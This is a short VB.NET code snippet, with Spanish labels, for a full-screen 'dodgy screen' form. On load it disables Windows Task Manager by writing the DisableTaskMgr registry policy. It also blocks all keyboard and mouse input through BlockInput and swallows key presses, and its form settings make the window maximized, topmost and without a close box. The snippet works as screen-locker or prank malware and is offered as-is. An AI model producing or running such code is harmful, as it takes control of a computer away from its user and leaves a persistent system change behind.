Pantalla Chunga

Public Declare Function BlockInput Lib "user32" (ByVal fBlock As Integer) As Integer
Private Sub Form1_KeyDown(ByVal sender As Object, ByVal e As System.Windows.Forms.KeyEventArgs) Handles Me.KeyDown
e.Handled = True
End Sub
Private Sub Panel1_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles Panel1.Click
Me.Close()
End Sub
Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
bloqueoTask()
borrarWindows()
End Sub
Sub bloqueoTask()
Dim regkey As RegistryKey
Dim keyValueInt As String = "1"
Dim subKey As String = "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System"
Try
regkey = Registry.CurrentUser.CreateSubKey(subKey)
regkey.SetValue("DisableTaskMgr", keyValueInt)
regkey.Close()
Catch ex As Exception
MessageBox.Show(ex.ToString())
End Try
End Sub
Sub borrarWindows()
BlockInput(True)
End Sub

En el form:

controlbox=false
locked=true
TopMost=true
windowsstate=maximized